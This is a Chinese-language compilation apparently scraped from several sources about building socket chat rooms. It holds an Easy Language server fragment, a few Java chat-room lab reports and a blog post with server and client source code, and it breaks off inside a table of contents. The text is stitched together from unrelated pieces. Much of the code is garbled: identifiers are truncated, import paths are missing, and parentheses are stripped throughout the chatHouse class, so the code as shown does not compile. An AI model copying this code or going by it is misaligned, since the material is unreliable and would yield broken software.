x).如果(列表框1.取项目文本(x) =编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。
利用JAVA实现简单聊天室1.设计思路Java是一种简单的,面向对象的,分布式的,解释的,键壮的,安全的,结构中立的,可移植的,性能很优异的,多线程的,动态的语言。
而且,Java 很小,整个解释器只需215K的RAM。
因此运用JAVA程序编写聊天室,实现简单聊天功能。
程序实现了聊天室的基本功能,其中有:(1)启动服务器:实现网络的连接,为注册进入聊天室做准备。
(2)注册登陆界面:填写基本信息如姓名等,可以供多人进入实现多人聊天功能。
(3)发送信息:为用户发送信息提供平台。
(4)离开界面:使用户退出聊天室。
(5)关闭服务器:断开与网络的连接,彻底退出聊天室。
2.设计方法在设计简单聊天室时,需要编写5个Java源文件:Server.java、Objecting.java、LogIn.java、ClientUser.java、Client.java。
3 程序功能图及程序相关说明(1)主功能框图(2) 聊天室基本功能表4.程序代码是说明程序中引入的包:package Chat; import .*;import java.awt.*;import java.awt.event.*;import javax.swing.*;import java.util.*;import java.io.*;(1)服务器端代码中用户自定义类:类名:Server作用:服务器启动继承的接口名:ActionListenerpublic class Server implements ActionListener{定义的对象:count //记录点机关闭按钮次数2次关闭soconly //只有SOCKET,用于群发sockets//所有客户的SOCKETsocket_thread //Socket所在的线乘,用于退出;frame // 定义主窗体panel //定义面板start,stop //启动和停止按钮主要成员方法:public void center //定义小程序查看器的位置public void actionPerformed //定义处理异常机制定义子类:serverRun,Details继承的父类名:Threadclass serverRun extends Thread //启线乘用于接收连入的Socket class Details extends Thread //具体处理消息的线乘,只管发送消息创建一个ServerSocket 对象,用于接受指定端口客户端的信息ServerSocket server = new ServerSocket("1234");接受请求时候,通过accept()方法,得到一个socket对象。
java聊天室实验报告Java聊天室实验报告引言:聊天室是一种通过网络连接,允许用户在同一平台上进行实时交流的应用程序。
随着互联网的普及,聊天室成为人们日常生活中不可或缺的一部分。
本实验旨在通过使用Java编程语言,设计和实现一个简单的聊天室应用程序,并探讨其实现过程中所涉及的关键技术和挑战。
一、项目背景随着网络技术的飞速发展,人们对于实时交流的需求不断增加。
聊天室作为一种方便快捷的交流工具,受到了广大用户的欢迎。
本项目旨在利用Java编程语言,实现一个基于网络的聊天室应用程序,以满足用户的实时交流需求。
二、项目目标1. 设计和实现一个基于Java的聊天室应用程序。
2. 实现用户之间的实时消息传递功能。
3. 提供可靠的用户身份验证机制,确保聊天室的安全性。
4. 实现聊天记录的存储和查看功能,方便用户回顾历史消息。
三、技术实现1. 服务器端在服务器端,我们使用Java的Socket编程实现了与客户端的连接和通信。
通过建立一个服务器Socket,监听指定端口,可以接受来自客户端的连接请求。
一旦连接建立,服务器端就会创建一个新的线程来处理该客户端的请求,并实现实时消息的传递和处理。
2. 客户端在客户端,我们同样使用Java的Socket编程实现了与服务器端的连接和通信。
客户端通过建立一个Socket,指定服务器的IP地址和端口号,即可与服务器建立连接。
客户端通过输入消息并发送给服务器,同时接收来自服务器的消息并显示在界面上。
3. 用户身份验证为了确保聊天室的安全性,我们使用了用户身份验证机制。
在用户登录时,客户端将用户名和密码发送给服务器端。
服务器端通过验证用户信息的正确性,返回登录结果给客户端。
只有通过身份验证的用户才能进入聊天室并参与实时交流。
4. 聊天记录存储为了方便用户回顾历史消息,我们实现了聊天记录的存储和查看功能。
服务器端将接收到的消息保存在数据库中,并提供查看聊天记录的接口。
用户可以通过指定时间范围或关键词来查询历史消息,以便回顾和查找需要的信息。
JavaSocket实现聊天室附1500⾏源代码⽬录项⽬需求分析基础分析项⽬部分代码摘要Dao的链表存储实现ServerListenServerReceive再看⼀下客户端的ClientReceive项⽬问题选择框中出现的不是⽤户名服务端点击消息发送按钮没有反应不能显⽰在线⼈数服务端退出时没有消息Java养成计划(打卡第31,2天)内容管理:Sockect聊天室的实现Java界⾯使⽤了各种组件,对于这部分不了解的不⽤担⼼,⽬前掌握⼀个⼤概就OK项⽬需求分析需要完成⼀个简单聊天⼯具的界⾯及功能,实现服务器中转下的多客户端之间的通信,系统完成的功能有程序启动后能看到当前有那些机器上线,可弹出对话聊天框,可以在其中编辑要发送的聊天信息,并进⾏发送⼀旦某个⽹内的机器上线了,可即时通知,并能更新⽤户界⾯的⽤户列表双击某个列表项时,可弹出对话聊天框,可以在其中编辑要发送的信息并发送聊天界⾯⼈性化,下⾯时发送框,上⾯有已有聊天记录,并借助滚动条看到当次所有聊天记录当有⼈向本机器发送消息时,可显⽰⽤户接收到的信息,并且显⽰是谁所发,同时进⾏信息的回复基础分析⾸先这是⼀个聊天⼯具,使⽤的是C/S结构,要模拟就要使⽤net的Scocket和ServerSocket模拟客户端和服务端这⾥综合运⽤了多种知识,已经不再是简单的java SE知识,其中界⾯编程占据主要代码,这⾥可以贴⼏张图看看效果,这是我肝了2天才肝完的,这⾥已经可以实现多态设备的连接分为3个包Sever包主要是服务器的相关代码,主要是实现与⽤户的交互Dao包是模拟的数据库包,存储所有的⽤户信息,实现增删改的操作Client是客户代码包,只要在电脑上运⾏这⾥的代码,就可以出现客户端界⾯,约定好ip和端⼝号就可以通信了。
这⾥就真正实现了客户端型软件,只是软件功能简单,可以使⽤web编程实现另外⼀种架构可以来看⼀下界⾯再来看⼀下客户端和服务端的交流项⽬部分代码摘要Dao的链表存储实现package Dao;/*** 演⽰程序为了简化就不⽤数据库存储,使⽤单链表完成数据库各项功能* 这⾥⼀定要写测试代码检查各项功能是否可⽤* 最开开始我测试了add,del,find功能,却没有测试getCount功能,结果存在问题,后⾯突然放开测试才发现错误 */public class UserLinkList {private Node head;private int count;public boolean addUser(Node client){if(head == null){//头节点也存储数据head = client;count++;return true;}else {Node p = head;for(;p.next != null;p = p.next);{p.next = client;count++;return true;}}}public int getCount() {return count;}public Node findUser(String name){Node p = head;while(p != null )//p.next != null没有包含最后⼀个结点{if(ername.equals(name)){return p;}p = p.next;}return null;}public Node findUser(int index){int pos = 0;Node p = head;while(p != null&& pos < index){p = p.next;pos++;}if(p != null&& pos == index){return p;}return null;}public boolean delUser(Node client){//删除后长度也要减少Node p = head;if(ername.equals(ername)){//删除头结点head = head.next;count--;return true;}while(p != null){//忘记循环了if(ername.equals(ername)){p.next = p.next.next;count--;return true;}p = p.next;}return false;}/*** 这⾥可以设置⼀个显⽰的⽅法,供检查使⽤*/public void display() {Node p = head;int pos = 1;while(p != null){System.out.println("第"+pos + "个⽤户"+ername);p = p.next;pos++;}}}/*public static void main(String[] args) {//经过测试发现没有问题,可以正常使⽤ Node client1 = new Node();ername = "张三";Node client2 = new Node();ername = "李四";Node client3 = new Node();ername = "王五";//其他的就不测试了,反正该项就可以测试了UserLinkList userLinkList = new UserLinkList();//⾃动初始化userLinkList.addUser(client1);userLinkList.addUser(client2);userLinkList.addUser(client3);// userLinkList.display();Node node = userLinkList.findUser(0);userLinkList.delUser(node);userLinkList.display();System.out.println(userLinkList.getCount());}*/现在编写这段代码应当是⾮常简单的,注意⼀定要测试ServerListen简单看⼀下这个监听线程,可以监听⽤户是否上线package Server;/*** @author OMEY-PC*本程序的作⽤是实现服务器侦听的线程化,其中run⽅法通过client = new Node();创建⼀个客户端对象,通过client.socket = server.accept来设定接⼝,通过client.input *output来建⽴输⼊输出流*/import java.io.*;import .*;import Dao.*; //连接数据import javax.swing.*;public class ServerListen extends Thread{ServerSocket server;JComboBox combobox;JTextArea textarea;JTextField textfield;UserLinkList userLinkList;Node client;ServerReceive recvThread;public boolean isStop;/*** 聊天服务端的⽤户上下线侦听类*/public ServerListen(ServerSocket server,JComboBox combobox,JTextArea textarea,JTextField textField,UserLinkList userLinkList) {this.server = server;bobox = combobox;this.textarea = textarea;this.textfield = textField;erLinkList = userLinkList;isStop = false;}@Overridepublic void run() {while(!isStop && !server.isClosed())//没有停⽌服务{try {client = new Node();client.socket = server.accept();//⽤来指代所连接的客户端client.output = new ObjectOutputStream(client.socket.getOutputStream());client.output.flush();client.input = new ObjectInputStream(client.socket.getInputStream());ername = (String)client.input.readObject();//显⽰提⽰信息combobox.addItem(ername);//改成⽤户名userLinkList.addUser(client);textarea.append("⽤户" + ername+"上线"+"\n");textfield.setText("在线⽤户"+ userLinkList.getCount()+"⼈\n");recvThread = new ServerReceive(textarea,textfield,combobox,client,userLinkList);recvThread.start();//启动线程}catch (Exception e) {e.printStackTrace();}}}}ServerReceive该线程实现服务器与⽤户之间的信息交互package Server;/*** @author OMEY-PC*服务器收发消息的类*/import .ServerSocket;import javax.swing.*;import Dao.*;public class ServerReceive extends Thread{JTextArea textarea;//消息展⽰域JTextField textfield;//⽂本输⼊域JComboBox combobox; //复选框Node client;//⽤户UserLinkList userLinkList;public boolean isStop;public ServerReceive(JTextArea textarea, JTextField textfield, JComboBox combobox, Node client,UserLinkList userLinkList) {this.textarea = textarea;this.textfield = textfield;bobox = combobox;this.client = client;erLinkList = userLinkList;isStop = false;}@Overridepublic void run(){//向所有⼈发送⽤户的列表sendUserList();while(!isStop && !client.socket.isClosed()){try {//类型,对谁,状况,⾏为,信息String type = (String)client.input.readObject();if(type.equalsIgnoreCase("聊天信息")){String toSomebody =(String)client.input.readObject();//从客户端接收信息String status = (String)client.input.readObject();String action = (String)client.input.readObject();String message = (String)client.input.readObject();String msg = ername+" "+ action + "对"+ toSomebody +" 说 " + message + "\n";//接收的消息 if(status.equalsIgnoreCase("悄悄话")){msg = "[悄悄话]" + msg; //若为悄悄话,就在前⾯加上标识}textarea.append(msg);if(toSomebody.equalsIgnoreCase("所有⼈")){sendToAll(msg);//这⾥是接受的⽤户消息,和之前的向所有⼈发消息不⼀样}else {//向⽤户发消息try {client.output.writeObject("聊天信息");client.output.flush();//刷新流client.output.writeObject(msg);client.output.flush();}catch (Exception e) {e.printStackTrace();}Node node = userLinkList.findUser(toSomebody);if(node != null){node.output.writeObject("聊天信息");node.output.flush();node.output.writeObject(msg);//向选定信息发送信息node.output.flush();//刷新输出流缓冲区中的信息}}}else if(type.equalsIgnoreCase("⽤户下线")){Node node = userLinkList.findUser(ername);userLinkList.delUser(node);String msg = "⽤户"+ ername +"下线\n";int count = userLinkList.getCount();combobox.removeAllItems();combobox.addItem("所有⼈");int i = 0;while(i < count){node = userLinkList.findUser(i);if(node == null){i++;continue;}combobox.addItem(ername);i++;}combobox.setSelectedIndex(0);//选择第⼀个,所有⼈textarea.append(msg);textfield.setText("在线⽤户"+ userLinkList.getCount() +"⼈\n");sendToAll(msg);sendUserList();//重新发送⽤户列表break;}}catch (Exception e) {e.printStackTrace();}}}/*** 向所有⼈发送消息*/public void sendToAll(String msg){int count = userLinkList.getCount();int i = 0;while(i < count){//给⽤户列表中的每⼀个⼈都发送消息Node node = userLinkList.findUser(i);if(node == null){i++;continue;}try {//输出流node.output.writeObject("聊天信息");node.output.flush();node.output.writeObject(msg);//聊天消息写⼊输出流(to client)node.output.flush();}catch (Exception e) {e.printStackTrace();}i++;}}/*** 向所有⼈发送⽤户列表*/public void sendUserList() {String userList = "";int count = userLinkList.getCount();int i = 0;while(i < count){Node node = userLinkList.findUser(i);if(node == null){i++;continue;}userList += ername;userList += "\n";i++;}i = 0; //给每个⼈发送消息while(i < count){Node node = userLinkList.findUser(i);if(node == null){i++;continue;}try {node.output.writeObject("⽤户列表");node.output.flush();node.output.writeObject(userList);node.output.flush();}catch (Exception e) {e.printStackTrace();}}i++;}}/*** 本程序可以实现通过线程向所有⼈发送消息,⽤户列表,以及向选定的⼈发送聊天消息等,主要是是实现服务端收发消息的线程化,其中sendUserList()发送列表, * client.input.redObject()获取客户端发送到服务端的消息,通sendToAll(),将发送到发送到所有⼈的信息发送到各个客户端*/再看⼀下客户端的ClientReceive该线程是实现客户端与系统之间的信息交互,注解丰富package Client;import java.io.*;import .*;import javax.swing.*;public class ClientReceive extends Thread{private JComboBox combobox;private JTextArea textarea;Socket socket;ObjectOutputStream output;ObjectInputStream input;JTextField showStatus;public ClientReceive(JComboBox combobox, JTextArea textarea, Socket socket, ObjectOutputStream output,ObjectInputStream input, JTextField showStatus) {bobox = combobox;this.textarea = textarea;this.socket = socket;this.output = output;this.input = input;this.showStatus = showStatus;}@Overridepublic void run() {//从服务端获得消息while(!socket.isClosed()){try {String type = (String)input.readObject();//获得流,read读取信息if(type.equalsIgnoreCase("系统信息")){String sysmsg = (String)input.readObject();textarea.append("系统信息" + sysmsg);}else if(type.equalsIgnoreCase("服务关闭")){output.close();input.close();socket.close();textarea.append("服务器已经关闭!\n");break;}else if(type.equalsIgnoreCase("聊天信息")){String message = (String)input.readObject();textarea.append(message);}else if(type.equalsIgnoreCase("⽤户列表")){String userlist = (String)input.readObject();String[] usernames = userlist.split("\n"); //⽤换⾏符分隔combobox.removeAll();//先移出去int i = 0;combobox.addItem("所有⼈");while(i < usernames.length){combobox.addItem(usernames[i]);i++;}combobox.setSelectedIndex(0);showStatus.setText("在线⽤户"+ usernames.length +" ⼈");}}catch (Exception e) {e.printStackTrace();}}}}其余的界⾯的部分就不放出来了,代码太长,每个都有400多⾏,如果有兴趣,就到我的gitee上去浏览,后⾯会放上地址项⽬问题选择框中出现的不是⽤户名查找相应模块发现是因为addItem中添加的时结点,⽽不是结点中的username,修改后正常服务端点击消息发送按钮没有反应查找监听器部分,发现监听器监听该部分代码写错,将button⼜写成sysMessage不能显⽰在线⼈数查找侦听线程,启动客户端发现抛出异常Cannot invoke “javax.swing.JTextField.setText(String)” because “this.textfield” is nulltextfield为空,查找问题源头;发现在构造⽅法中:the assignmen to variable has no effect;这是因为单词拼写错误,编译器并没有报错服务端退出时没有消息系统报错Cannot read field “input” because “node” is null意识到问题出在链表上,系统要求从0开始,⽽链表中的序号是从1开始的,修该链表中的findUser中的pos为0就解决写这个程序写了两天,直接废了~~到此这篇关于Java Socket实现聊天室附1500⾏源代码的⽂章就介绍到这了,更多相关Java Socket内容请搜索以前的⽂章或继续浏览下⾯的相关⽂章希望⼤家以后多多⽀持!。
聊天室系统聊天室对于众多网民来说并不陌生,它是网络上大家讨论交流的有效平台。
由于Java强大的Internet网络程序设计功能,很多聊天室服务器端都是采用Java语言进行实现。
本章所要介绍的开发案例就是利用JA V A实现一个简单的聊天室系统的服务器端。
7.1聊天室系统介绍网络聊天室是典型的网络应用程序,其一般采用客户/服务器结构来完成整个功能的设计,下面将概要讨论网络聊天室系统的设计。
7.1.1客户/服务器模式一般聊天室采用的是客户/服务器模式,我们熟悉的QQ聊天室就是采用这种结构模式。
它包含了两个完整的应用程序,即客户端程序和服务器端程序,如图4-1所示。
其中,多个客户端程序可以同时与一个服务器进行通信,然后通过服务器的统一处理而完成聊天室各种所需要的功能,如各客户端之间的信息发送和接收。
图7-1 ICQ的客户与服务器模式我们从上可以知道,要实现该通信模式,首先应在服务器和客户端之间定义一套通信协议,并通过创建套接字来建立连接,然后客户与服务器端再在该连接上进行可靠的传输和接收数据。
客户端发出请求,服务器端监听各种请求并对其提供响应服务。
这也即典型的“请求—应答”模式。
7.1.2聊天室功能介绍聊天室用户功能用户注册新用户输入(用户登陆名,真实姓名,呢称,密码与确认密码),如果登陆名没有与系统中已注册的用户登陆名相同,且密码与确认密码一致,则系统报告该用户注册成功,否则提示错误消息。
用户登陆注册用户输入登陆名与密码,如果与系统中已注册的用户登陆名及密码匹配,则用户登陆成功,否则提示用户不存在或者密码不匹配。
用户登陆成功后,可以选择房间来发言聊天 参数设置(设置服务器IP,端口)在客户端设置聊天室服务器的参数,主要有IP地址和端口,把参数保存在一个XML 文件中,以便客户端重启时能读入设定的参数进入房间用户登陆成功后,可以从房间列表中选择某一房间进入,如果该房间的当前聊天室成员数没有超过该房间的限定人数,则系统允许该用户进入,否则提示该房间已满。
一.系统需求分析网络聊天室通常直称聊天室;是一种人们可以在线交谈的网络论坛;在同一聊天室的人们通过广播消息进行实时交谈..在当今信息时代;越来越多的聊天工具被应用;java语言是当今流行的网络编程语言;它具有面向对象;与平台无关;安全;多线程等特点..使用java语言不仅可以实现大型企业级的分布式应用系统;还能够为小型的的;嵌入式设备进行应用程序的开发..面向对象的开发是当今世界最流行的开发方法;它不仅具有更贴近自然地语义;而且有利于软件的维护和继承;锻炼我们熟练地应用面向对象的思想和设计方法解决实际问题的能力..本程序正是用java语言实现了简单聊天功能..它是图形界面;线程;流与文件系统等技术的综合应用..其界面主要采用了java.awt包;java.swing包等..二.系统总体设计1.对性能的规定由于本软件知识一个聊天程序;程序只提供用户之间的聊天功能;故对网络传输数据要求不是很高;只要正常的传输速度就可以了..2数据管理IP地址IP;端口Port3.开发环境本软件采用Java语言编写;Java语言是一种跨平台的编程语言;所以本软件对操作系统没有特别的要求..而网络传输方面采用TCP/IP网络传输协议或者是RMI..4.设计概要1本软件客户端与用户共用一段程序..客户端编译运行后;在窗口选择----侦听..用户编译运行后;在窗口选择----连接..2本软件实现的功能有1允许服务器侦听客户端;客户端连接到服务器2允许服务区与客户端之间进行聊天;3允许服务器与客户端更改背景颜色;4 允许服务器与客户端更改字体颜色;5服务器与客户端时;会显示内容发送时间;6允许服务器与客户端用鼠标点击“发送”;按ENTER键均可发送内容7允许服务器与客户端用鼠标点击关闭时关闭聊天窗口三.系统详细设计1.代码功能描述1程序中引入的包:import java.awt.;import java.awt.event.;import javax.swing.;import java.;import java.io.;2代码中自定义的类:类名:chatHouse继承的类:JFrame实现的接口:ActionListener; Runnable作用:构造服务器界面以及客户端界面..定义的对象: TextArea ta;JTextField ip;JTextField port;JButton btn_server;JButton btn_client;JButton btn_backGroundCol;JButton btn_fontCol;JTextField send_text;JButton btn_send;JButton btn_close;JLabel pic;Socket skt;构造方法:public chatHouse主要成员方法:public void runpublic void actionPerformedActionEvent epublic void doServerpublic void doSend2.源代码chatHouse.javaimport java.awt.;import java.awt.event.;import javax.swing.;import java.;import java.io.;import java.util.;public class chatHouse extends JFrame implements ActionListener; Runnable{private TextArea ta;private JTextField ip;private JTextField port;private JButton btn_server;private JButton btn_client;private JButton btn_backGroundCol;private JButton btn_fontCol;private JTextField send_text;private JButton btn_send;private JButton btn_close;private JLabel pic;private Socket skt;public void run{try{BufferedReader br = new BufferedReadernew InputStreamReaderskt.getInputStream;whiletrue{String s = br.readLine; // 从网络读ifs==null break;ta.appends + "\n";}}catchException e{e.printStackTrace;}}public void actionPerformedActionEvent e{ife.getSource==btn_server{doServer;}ife.getSource==btn_client{doClient;}ife.getSource==btn_send{doSend;}}public void doServer{try{ServerSocket server = newServerSocketInteger.parseIntport.getText;skt = server.accept;ta.append"连接成功\n";new Threadthis.start;}catchException e{ta.append"服务器启动失败\n";}}public void doClient{try{skt = new Socketip.getText; Integer.parseIntport.getText;ta.append"连接成功\n";new Threadthis.start;}catchException e{ta.append"连接失败\n";}}public void doSend{Calendar c=Calendar.getInstance;int y=c.getc.YEAR;int M=c.getc.MONTH+1;int d=c.getc.DAY_OF_MONTH;int h=c.getc.HOUR_OF_DAY;int mm=c.getc.MINUTE;int ss=c.getc.SECOND;try{PrintWriter pw = new PrintWriterskt.getOutputStream;String s = send_text.getText;ifs==null return;ta.appendy+"-"+M+"-"+d+" "+h+":"+mm+":"+ss+"\n";ta.appends+"\n";pw.printlny+"-"+M+"-"+d+" "+h+":"+mm+":"+ss;pw.printlns;pw.flush;send_text.setText"";}catchException e{ta.append"发送失败\n";}}public chatHouse{super"聊天室";this.setBounds100;100;550;430;Container cc = this.getContentPane;JPanel p1 = new JPanel;cc.addp1; BorderLayout.NORTH;JPanel p2 = new JPanel;cc.addp2;BorderLayout.CENTER;JPanel p3 = new JPanel;cc.addp3;BorderLayout.SOUTH;pic=new JLabelnew ImageIcon"12.gif";cc.addpic;BorderLayout.EAST;p1.addnew JLabel"IP: ";ip = new JTextField"127.0.0.1"; 10;p1.addip;p1.addnew JLabel"Port: ";port = new JTextField"7777"; 4;p1.addport;btn_server = new JButton"侦听";p1.addbtn_server;btn_client = new JButton"连接";p1.addbtn_client;btn_backGroundCol =new JButton"背景色";p1.addbtn_backGroundCol;btn_fontCol =new JButton"字体颜色";p1.addbtn_fontCol;p2.setLayoutnew BorderLayoutta = new TextArea;p2.addta; BorderLayout.CENTER;send_text = new JTextField"Hello.";p2.addsend_text; BorderLayout.SOUTH;btn_send = new JButton"发送";p3.addbtn_send; BorderLayout.WEST;btn_close =new JButton"关闭";p3.addbtn_close; BorderLayout.CENTER;//---------------------------------------"关闭"按钮监听器 btn_close.addActionListenernew ActionListener{public void actionPerformedActionEvent e{System.exit100;}};//--------------------------------------- 背景变色监听btn_backGroundCol.addActionListenernew ActionListener{public void actionPerformedActionEvent e{JColorChooser chooser4=new JColorChooser;Color color=chooser4.showDialognull;"背景颜";Color.yellow; ta.setBackgroundcolor;}};//---------------------------------------字体变色监听btn_fontCol.addActionListenernew ActionListener{public void actionPerformedActionEvent e{JColorChooser chooser4=new JColorChooser;Color color=chooser4.showDialognull;"字体颜色";Color.black; send_text.setForegroundcolor;ta.setForegroundcolor;}};//---------------------------------------按ENTER键可发送监听btn_server.addActionListenerthis;btn_client.addActionListenerthis;btn_send.addActionListenerthis;setDefaultCloseOperationJFrame.EXIT_ON_CLOSE;send_text.addKeyListenernew KeyAdapter{public void keyPressedKeyEvent e{ife.getKeyCode==KeyEvent.VK_ENTERdoSend;}};}public static void mainString args{new chatHouse.setVisibletrue;}}import java.util.;3.程序测试编译运行程序后;先选择对方IP;选择同样的Port..服务器先侦听;客户端再连接..连接成功;窗口会显示“连接成功”字样..接下来就可以聊天了..1 服务器与客户端聊天..2服务器与客户端聊天..服务器将背景颜色设为粉红;字体颜色设为蓝色.. 客户端将背景颜色设为蓝色;字体颜色设为红色..四.小结1.通过本次课程设计;使得自己懂得理论和实践相结合起来;从理论中得出结论;才能真正掌握这门技术;也提高了自己独立思考的能力;在设计的过程中;可以自己解决..真正体会到要将一门知识学的更深入;必须加强实践;多练习;才能发现问题所在..2..本程序实现的功能还比较简单不够完善;从中;我知道了自己的不足之处;决心增长自己的知识;设计更加好的程序;实现各种更加复杂的功能;如:传输文件;图片..以及登陆界面;昵称等..3.总的来说;这次实训对我很有帮助..让我学会了的不只是设计JAVA聊天室;更让我学会主动学习;而不是被动接收..这样才能更好的运用自己所学到的知识..另:附该代码所用到的图片 12.gif。
Java聊天室实验报告班级: ******学号: ********姓名:***目录:一、实验目的.。
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3二、所需技术 .。
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3三、需求分析。
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3四、系统设计 .。
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.41、服务器结构 ..。
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42、客户端结构 ..。
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4五、实现细节。
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..51、客户端细节。
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52、服务器细节 .。
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..6六、系统展示。
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(7)七、实验小结。
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. (9)Rain153 WeChat 聊天室系统一、实验目的:1、使用Java技术完成聊天室系统,深入学习使用Java语言。
2、使用Java 的多线程机制,深入理解Java多线程技术的应用。
3、使用GUI,对JFrame的深入学习。
4、使用网络编程,掌握基于TCP协议的Socket编程,了解Socket编程的协议约定,掌握简单应用协议的开发.5、使用C/S架构,对网络编程有一定的了解。
二、所需技术本系统要求使用java技术开发。
所需知识包括java程序设计语言、swing基本GUI组件、多线程编程、socket编程、集成开发环境使用eclipse。